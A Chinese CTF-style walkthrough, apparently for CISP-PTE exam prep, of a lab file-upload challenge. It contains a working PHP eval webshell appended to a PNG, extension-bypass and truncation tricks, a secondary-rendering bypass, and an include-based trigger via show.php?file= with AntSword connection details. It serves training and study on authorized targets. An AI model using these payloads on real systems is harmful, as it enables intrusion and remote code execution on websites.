☰
CISP-PTE文件上传实战:图片马与文件包含组合绕过全解析
2026/11/5 22:10:06 网站建设 项目流程

备考 CISP-PTE 实操题的人,几乎没有谁能绕开文件上传这个题型。我练到“文件上传5”这一关的时候,已经会改包、会双写后缀了,当时想的是几分钟拿下,结果扎扎实实卡了一晚上。第二天老实从头做信息收集,才发现这一关根本不是前面那种“拦一个点、绕一个点”的玩法,它把文件类型校验、扩展名限制、真实图片内容校验、上传目录权限和文件包含触发全部串到了一起,任何一个环节想当然,都会被后续步骤打脸。

这篇文章就把我第一次通关“文件上传5”的完整过程复盘一遍,重点拆解每一层过滤的识别方法,以及最终靠“图片马 + 文件包含”组合拳过关的思路。后面还有我在连接 webshell 时踩过的坑和排查清单,给正准备刷 CISP-PTE 训练题或者考试现场遇到同类题的你一个可以直接抄的作业。

老规矩,先泼盆冷水:下面所有操作只适用于 CISP-PTE 授权靶场、自己搭的 CTF 靶机或备考训练环境。把这些手法往真实站点上试,性质就完全不同了,这个边界自己心里要有数。

1. 先把第5关的过滤逻辑摸清楚

1.1 CISP-PTE 实操题里的文件上传题型长什么样

CISP-PTE 的实操环境是本地局域网内的授权靶机,不依赖外网,题型基本都是经典 Web 漏洞的固定场景。文件上传在这种考试里出现频率非常高,因为它的考点可以拆得非常细,比如前端 JS 校验、后端 Content-Type 校验、扩展名黑名单、扩展名白名单、文件头校验、二次渲染、文件名重命名、上传目录不可执行、需要配合文件包含触发等等。

前几关通常相对单纯,比如只做了前端限制,或者只改了 MIME 类型就能过。但练到编号带“5”的这类题目时,平台就开始把两三个考点组合起来出,这时候单一 payload 打天下的思路必然失效。你先要判断的是:题目到底要考哪一种组合,而不是继续盲目试后缀。

我的判断方法是先看上传结果的三类回显:

  • 上传后直接提示“文件格式不允许”“类型错误”,多数是后端做了类型或扩展名判断。
  • 上传后提示成功,但返回的路径里文件名变成了随机字符串,说明存在重命名逻辑。
  • 上传后访问 404,或者直接变成下载,说明文件虽然写进去了,但目标目录可能不允许解析脚本。

这三种现象往往不是互斥的,第5关这类题经常同时出现好几种。

1.2 为什么前面的绕过手法在第5关会集体失效

第一次打这关时,我依次试了最常见的一批手法:改名shell.php、改成shell.php5、用大小写shell.PhP、双写扩展名shell.pphphp,甚至试了shell.php.jpg这种花活。结果无一例外被拦截。

这里要先建立一个认知:当一个上传点既检查扩展名、又检查文件的内容格式时,前面那些“基于黑名单”的绕过思路就会大面积失效。黑名单的特点是管理员列了几个危险后缀,你能绕,说明规则不全;而白名单是只允许特定后缀,比如只允许jpg、png、gif,那你怎么变形都白搭。

第5关从返回信息看,服务端大概率是这样一段逻辑:

  • 检查上传文件扩展名是否在白名单内,不在就拒绝;
  • 检查文件真实类型,比如通过exif_imagetype()或getimagesize()判断,不是图片就拒绝;
  • 对上传后的文件进行重命名,并使用原扩展名保存。

换句话说,题目不关心你是不是shell.php,它只接受“看起来是图片”的文件,上传后还给你换成随机名字。想靠直接上传 PHP 文件拿 webshell,这条路在逻辑上就不通。

1.3 第5关真正的目标是什么

搞清楚限制之后,我就换了个思路:既然上传点只认图片,那我不如先上传一个“看起来完全是图片、但内部藏着 PHP 代码”的文件。服务器检查图片时会认为它是合法的,等文件落地后,我再想办法让服务器把这张图片当作 PHP 来解析。

这种触发方式在真实环境里通常有三条路:

  1. 站点本身存在文件包含漏洞,通过包含点读取图片,让代码执行;
  2. 中间件存在解析漏洞,比如1.jpg/.php或老版本 Apache 的多后缀解析;
  3. 能把.htaccess传上去,让目录下的.jpg都被当作 PHP 解析。

训练靶场一般不会让第三条路走得太轻松,因为.htaccess也不是图片。我们最终要寻找的还是第一种:文件包含。所以第5关的完整解题链应该是:制作图片马 → 上传成功 → 找到文件包含入口 → 访问包含后的 URL → 连上 webshell → 读取 flag。

2. 开局一段正常的图片上传请求,信息量非常大

2.1 别急着改包,先完整看一次请求

很多朋友刷题时习惯直接开 Burp Suite 拦截,把后缀改成.php就发出去,这其实有点浪费。我更倾向于先正常上传一张合规的 PNG 图片,把它当作一次信息收集,记录完整的请求和响应结构。

我在第5关的靶机页面上随便拖了一张小图片上传,Burp 里抓到的数据包大概是这样的:

POST /upload.php HTTP/1.1 Host: 192.168.1.10 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryA1b2C3d4 ------WebKitFormBoundaryA1b2C3d4 Content-Disposition: form-data; name="file"; filename="test.png" Content-Type: image/png PNG ... 文件二进制内容 ... ------WebKitFormBoundaryA1b2C3d4--

不要小看这个包,里面的三类信息对判断过滤方式很重要:

  • filename="test.png"对应服务端拿到的文件名和后缀;
  • Content-Type: image/png对应服务端可能检查的 MIME 类型;
  • 文件本身的二进制内容,对应服务端可能调用的图片检查函数。

正常上传成功后,页面返回了一个相对路径,类似uploads/63f2b8c1a4d2e9.png。这个路径先记住,后面每一步都要用它来判断文件是否真的落地了。

2.2 从响应判断服务端语言和中间件

做文件上传题,最好先确认后端语言。CISP-PTE 训练环境里 PHP 居多,但偶尔也会有 Java 或 ASP 类题目,payload 风格完全不同。

判断手段很简单,不用扫描器,人工就能完成:

  • 看 URL 后缀,比如upload.php、show.php基本就锁定 PHP;
  • 响应头里有X-Powered-By: PHP/7.x也能直接确认;
  • 如果上传一个不存在的路径,观察 404 页面的风格,也能看出中间件类型;
  • 故意传入错误格式,服务端报错信息里有时会暴露绝对路径或函数名,比如出现getimagesize()、move_uploaded_file()之类的词汇。

我遇到的环境明显是 PHP,而且上传接口是单独的upload.php,处理完成后返回文件路径。这些信息看着基础,但很多人在考试场景里一紧张就忽略,后面找包含点、拼路径时就会很被动。

2.3 上传成功后的返回路径可能藏着“改名陷阱”

第5关第一次上传正常图片后,返回的访问路径是uploads/63f2b8c1a4d2e9.png,和我上传的test.png完全对不上。这说明服务端对文件进行了重命名,不是原样保存。

这个细节必须尽早确认,因为它直接决定了后续两个操作:

  • 你不需要再纠结原文件名,后续访问路径要以响应里的新文件名为准;
  • 文件扩展名大概率沿用白名单内类型,也就是说保存后的文件叫xxx.png或xxx.jpg。

如果改包上传了一个.php文件,即使成功落地,响应里也可能返回一个.php名字,或者仍然被转成.jpg。这个“是否改名”的差别会影响你接下来的调试方向,我会在后面具体讲。

2.4 找文件包含入口是决定成败的一步

严格来说,第5关的失分点往往不是图片马做不出来,而是上传成功之后不知道该往哪里访问。

我在正常上传图片的流程中注意到了一个页面参数show.php?file=uploads/xxx.png,这就是典型的文件包含入口。通过file参数读取服务器上的文件并展示图片。这种入口一旦存在,意味着服务器可能用了类似下面的代码来加载文件:

$file = $_GET['file']; include($file);

如果这个include没有做好路径过滤,而我们又能控制file参数的内容,那就可以用它去包含任意文件。后续上传一张“带 PHP 代码的图片”,再让include把它加载进来,PHP 引擎就会把图片里的代码当作 PHP 执行。这一步是整个组合拳能否打成的核心。

2.5 工具选择上的一点建议

抓包改包我用的是 Burp Suite,备考机里如果不好装,用 OWASP ZAP 也能完成同样的工作。ZAP 的“Request Editor”可以直接改 multipart 请求,原理和 Burp 的拦截转发完全一样。

工具影响不大,真正影响成功率的是你对 HTTP 请求结构的理解。改后缀前先想清楚:自己是在改哪一部分,服务端可能用哪个变量取值。filename和后缀是给扩展名检查用的,Content-Type是给 MIME 检查用的,文件二进制则决定getimagesize()这类内容检查能否通过。三者分开对待,就不会像无头苍蝇一样乱试。

3. 第一道坎:Content-Type 和 MIME 类型到底要不要改

3.1 先搞懂服务端代码会怎么取值

文件上传请求里,有一个字段叫Content-Type,很多新手会以为这是指文件真正的类型。实际上它只是一个声明,完全由客户端控制,服务端如果不校验就没意义,校验了也不代表它可信。

在 PHP 里有个对应的写法:

$type = $_FILES['file']['type']; if ($type != 'image/jpeg' && $type != 'image/png') { die('文件类型错误'); }

这种判断方式就是只信浏览器给的包,不验证文件本身。遇到这种情况,我们只要抓包后手动把Content-Type: application/octet-stream改成Content-Type: image/png就能绕过,是不折不扣的“纸老虎”。

3.2 第5关里改 MIME 的实际结果

在打第5关时,我先尝试把shell.php文件的请求包里Content-Type改成了image/png,同时把filename保留为shell.php。这次的结果和最初不一样了,拦截提示变了。

之前直接传.php时服务端会拒绝,常见的提示是“文件类型错误”。但改了 MIME 类型之后,报错信息变了,说明第一层 MIME 检查确实被绕过了。但我还没高兴太久,上传后的访问路径显示文件被改名了,而且后缀并不是.php,继续往下访问才发现它根本没有被当作脚本执行。

这个现象说明服务端还做了更严格的检查,单单欺骗Content-Type不够。

这里也给出一个识别经验:如果你改了 MIME 后,上传仍然失败,那大概率还有扩展名白名单在兜底;如果上传成功但访问无效,则需要继续看文件内容校验和触发方式。不要因为一次成功就觉得自己已经拿到 shell。

3.3 MIME 校验在考试题里的出题比例

根据我刷题的经验,CISP-PTE 系类训练题里,单纯考 MIME 类型的题目通常安排在前面,比如第二关、第三关会直接让你改包上传成功。到第5关,MIME 检查只能算第一层筛子,后面还有扩展名检查和真实图片校验。

但这并不意味着 MIME 就不需要改了。后面做图片马时,如果你连Content-Type都不伪装,可能在最开始就被服务端挡掉,根本走不到后续环节。正确的顺序是:先把 MIME 改成image/png或image/jpeg,再把文件名和后缀调整到白名单范围内,最后确保文件内容本身是一张真图加 payload。

3.4 一个容易踩的误区:把filename和Content-Type改得自相矛盾

很多人第一次做组合绕过时会犯一个低级错误:文件名叫shell.jpg,Content-Type却还是application/x-php。看似只是字段不规范,但有些靶机的过滤代码会把这两个值做交叉校验,比如检查Content-Type中是否包含image,或者检查文件名后缀和类型是否匹配。

所以我在后面几次尝试中,会把请求里的字段尽量改成逻辑一致的状态:filename="xxx.png"或filename="xxx.jpg",Content-Type: image/png或image/jpeg。不要小看这点,它能帮你排除掉一些完全不该出现的额外报错,让你更准确地定位真正的拦截点。

4. 第二道坎:扩展名限制到底是黑名单还是白名单

4.1 常见黑名单绕过方式要心里有数

按 CISP-PTE 的出题习惯,扩展名黑名单题是必练的基础项。常见的可执行 PHP 扩展名不只是.php,还包括:

  • .php3
  • .php5
  • .phtml
  • .pht

有些老系统还支持.php.、.php::$DATA、.php%00.jpg这类截断写法。这些技巧在特定题目里确实有效,尤其是过滤逻辑写得比较粗糙的题目,比大小写、双写往往就能糊弄过去。

比如如果服务端用黑名单把php替换成空字符串,那我传shell.pphphp时,替换结果为shell.php,恰好能落成可用脚本;如果服务端没对后缀做大小写归一化,那shell.pHp也可能绕过。

4.2 第5关暴露出的真实校验逻辑更接近白名单

我在第5关里把这些黑名单绕过都试了一遍,结果非常统一:上传全部失败,返回的提示都是“仅支持 png/jpg 文件”。

这个响应话术通常暴露了后面代码里有一个in_array或in_array(strtolower($ext), ['jpg','jpeg','png'])。它不关心你有没有伪装扩展名,它只接受jpg、jpeg、png这类图片后缀。在这种白名单逻辑下,任何包含php子孙后缀的文件名都会直接在入口处被拦住,常规的后缀绕过没有用。

如果你碰到这情况,就不要再和扩展名死磕了。继续试验.htaccess也没有太大意义,因为那文件本身不是图片,而且服务端校验的是文件上传请求里的文件名,不会让你传.htaccess这种隐藏文件。

4.3 白名单限制下的唯一出路:让文件保存为图片扩展名

既然服务端只让图片后缀落地,那这关就不能强求 webshell 文件本身是.php。正确的文件名策略只有一个:上传时把filename改成shell.png或shell.jpg,让保存后的文件扩展名在uploads目录里看起来完全无害。

这一步的本质,是把你需要执行的 PHP 代码藏在一个图片文件里。服务端检查时看到的是合法图片,但它不知道图片里那一段 PHP 代码会在后续文件包含中被触发。等真正执行时,PHP 引擎看的不是扩展名,而是代码内容。

4.4 判断代码到底是“检查扩展名”还是“重命名扩展名”

在实操中,还要区分两种细节:

  • 服务端只检查上传文件后缀是否在白名单内,保存时保留原样;
  • 服务端不管原后缀,而是根据图片类型自动改成.png或.jpg。

如果只是检查、不重命名,那我们上传shell.jpg,访问路径就会是shell.jpg;如果做了重命名,响应路径会变成随机串加.jpg。第5关我遇到的是后者,平台直接把上传的图片改成了随机文件名。

判断方法很简单:上传一张正常图片,看返回路径和上传文件名是否一致。不一致就说明有重命名逻辑,后续访问路径要用响应里的路径,不能用你自己构造的名字。

5. 组合拳的临门一脚:图片马和文件包含怎么配合

5.1 制作图片马不只有一种方法

真正决定第5关成败的,是能否做出一张“既通过图片内容校验、又包含可执行代码”的图片马。

最简单粗暴的办法是直接用命令行拼接。Linux 下这样操作:

cp normal.png shell.png echo '<?php @eval($_POST["x"]);?>' >> shell.png

normal.png是一张正常的 PNG 图片,echo命令会把 PHP 代码追加到图片末尾。很多 PHP 的图片检查函数只读取文件头部信息,不会管文件尾部有没有多余数据,所以这种拼接大概率能通过检查。而且 PHP 解析文件时遇到<?php ... ?>标签就会执行中间代码,不会因为前面的 PNG 内容报错。

如果是在 Windows 环境下,也可以用 CMD 的命令:

copy normal.png /b + shell.txt /b shell.png

实际操作时我会更倾向用GIF89a开头来构造,因为 GIF 头部检查在很多老代码里非常宽松。但 PNG 也完全没问题。

5.2 为什么直接访问图片马不执行

很多新人不理解:我明明把 PHP 代码塞进图片了,访问uploads/shell.png为什么不执行?

原因很简单:Web 服务器不会因为文件内容里有 PHP 代码,就把一个.png后缀的文件交给 PHP 引擎解析。它只会把.png当成普通静态资源直接返回,或者根据 Content-Type 当作图片下载。PHP 代码只有当文件被 PHP 引擎以脚本方式加载时才会执行。

所以图片马本身只是“弹药”,还需要一个“枪”来发射它。这个枪就是把图片文件交给某个 PHP 页面去include或require的入口。

第5关里,我找到的入口正是前面提到的show.php?file=uploads/xxx.png。当服务端使用include($file)去包含这个文件时,PHP 引擎会无视扩展名,直接对文件内容做语法解析,于是藏在图片里的<?php @eval($_POST["x"]);?>就被执行了。

5.3 用文件包含入口连 webshell 的完整姿势

这里有个关键操作细节:连接蚁剑时,URL 并不是填图片本身,而是填文件包含入口的地址。

假设靶机地址是http://192.168.1.10,上传后的图片路径是uploads/63f2b8c1a4d2e9.png,那蚁剑里需要填写:

URL: http://192.168.1.10/show.php?file=uploads/63f2b8c1a4d2e9.png 密码: x 连接方式: PHP

蚁剑发起请求时会向这个 URL 发送 POST 数据,show.php会正常执行自身的逻辑,把file参数指向的图片文件 include 进来;图片中的eval($_POST["x"])就会在当前请求上下文中执行,读取到蚁剑发来的 POST 内容。这样一来,即使最终保存的文件后缀是.png,我们也拿到了一个可用的 PHP webshell 通道。

这里要注意的是,蚁剑连接成功后,你看到的“虚拟终端”其实运行在这样的调用链里:

POST /show.php?file=uploads/xxx.png → include(uploads/xxx.png) → 执行图片内 eval → 解析蚁剑命令

所以只要文件包含点可用,这个过程就完全成立。

5.4 成功执行命令后怎么快速定位 flag

连上 webshell 后,使用蚁剑虚拟终端执行命令。习惯先做系统识别:

id uname -a pwd ls -la

CISP-PTE 实操题里的 flag 文件通常放在一些固定位置,常见的有:

  • /flag
  • /flag.txt
  • /root/flag.txt
  • /home/wwwroot/flag.txt
  • Web 根目录下的flag文件

如果上面路径都没有,就用递归搜索:

find / -name "flag*" 2>/dev/null

也可能需要读当前目录下的文件:

find / -name "*flag*" -o -name "*.txt" 2>/dev/null

拿到 flag 内容后,回填到考试平台提交即可。第5关到这里就算打通了。

5.5 二次渲染是个隐藏大坑

有些靶机会在上传后对图片做二次渲染,比如用 PHP 的imagecreatefrompng()重新生成图片,然后保存新图片。如果遇到这种逻辑,简单的文件尾部拼接会被二次渲染过滤掉,因为生成的新图片只保留了原图的像素数据,不会保留附加的 payload。

判断方法很简单:上传一张带 payload 的图片马,再下载上传后的文件,用文本编辑器打开看尾部内容是否还在。如果没了,说明存在二次渲染。

针对二次渲染,思路要换成“找渲染前后不变的字节区域”。通常做法是先上传一张纯色图片,下载渲染结果,然后用工具对比原始图片和渲染后图片的字节,找到未被修改的数据块,把 PHP 代码插入这个位置再上传。因为渲染逻辑会把这个区域原样保留,payload 才能存活。

这个技巧在 CISP-PTE 训练里不一定每一关都碰到,但一旦碰到,能现场想明白的人很少。提前了解能帮你省下大量试错时间。

6. 通关后仍然值得收藏的排坑清单

6.1 上传路径 404 的排查方法

很多人明明上传成功,访问返回的路径却 404。优先检查三件事:

  • 是否复制了响应里的完整路径,而不是你自己猜测的文件名;
  • uploads目录是否真的存在,有些靶机把文件保存在其他目录;
  • 是否因为重命名逻辑,实际保存文件名和上传文件名不一致。

这些通过正常上传一张图片就能验证。先用完全合法的文件走一遍全流程,确认返回路径可访问,再考虑做 payload,能避免大量无效折腾。

6.2 蚁剑连接失败的常见原因

第5关最容易卡人的是蚁剑连接不上。我整理了一张排查表:

现象可能原因处理方式
连接时提示失败URL 路径填错检查show.php?file=后是否正确带上平台返回的图片路径
连接失败且返回正常但无回显实际没有通过 include 执行先用浏览器访问包含入口,看图片内容是否被解析
代码明明在图片里,但执行不了图片被二次渲染清除了 payload下载上传后的文件检查尾部是否还有 PHP 代码
命令执行无响应PHP 开启了disable_functions改用读取文件类脚本,或尝试其他可用函数
包含点对参数做了过滤include前拼接了路径前缀尝试用相对路径绕过,或寻找其他包含参数

这里特别要强调一个新手容易犯的错误:蚁剑填 URL 时,把密码位置填成了x,但代码里写的是$_POST["x"],蚁剑发请求时会用“密码”这个字段值填充 POST 参数。如果你设置的密码为x,那么发送的数据就是x=...。只要代码和配置一致,就能连上。如果连不上,先用 Burp 手工发一个 POST 请求测试:

POST /show.php?file=uploads/xxx.png HTTP/1.1 Host: 192.168.1.10 Content-Type: application/x-www-form-urlencoded x=phpinfo();

如果响应里出现 PHP 的信息页,说明数据链路没问题,剩下的就是蚁剑配置问题。

6.3 图片马导致的 500 错误要怎么看

图片马触发时出现 500 错误,通常不是 PHP 代码本身有毒,而是图片头部有一些非 PHP 内容被include时输出了。文件包含执行时,图片前面的二进制数据会被当成 PHP 引擎的“非法文本”,但因为它们不在<?php ?>标签内部,PHP 会原样输出,一般不会报 500。

如果真出现 500,优先怀疑是 PHP 代码写错了,比如标签写成了短标签<?,而当前环境关闭了short_open_tag。建议统一使用标准写法<?php,不要图省事用短标签。

另外,图片马最好保持“图片头部 + PHP 代码 + 可选的尾部填充”,不要在多处插入多个<?php ?>,否则调试时很难判断是哪一段代码引发了语法错误。

6.4 不是每次都要做图片马,但一定要会构造思路

最后说点个人的心得。文件上传题做到后面,拼的不是记忆多少绕过后缀,而是面对一个未知过滤点时,能不能系统地把每层校验拆开,再逐层构造对应的数据。

“文件上传5”这关并没有引入多惊奇的算法,它只是把 MIME 校验、扩展名白名单、图片内容校验、重命名逻辑和文件包含位点这几个常见知识点串在了一起。把这条链路完整走通一次之后,再看到类似“图片上传 + 预览/展示 + 文件名随机化”的组合,你就知道整套打法了。

在授权靶场里花时间把每一个拦截点都摸透,考试真遇到时才能稳。练的时候多抓包、多看响应、多记录路径,这些笨功夫,最后都会体现在答题速度上。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询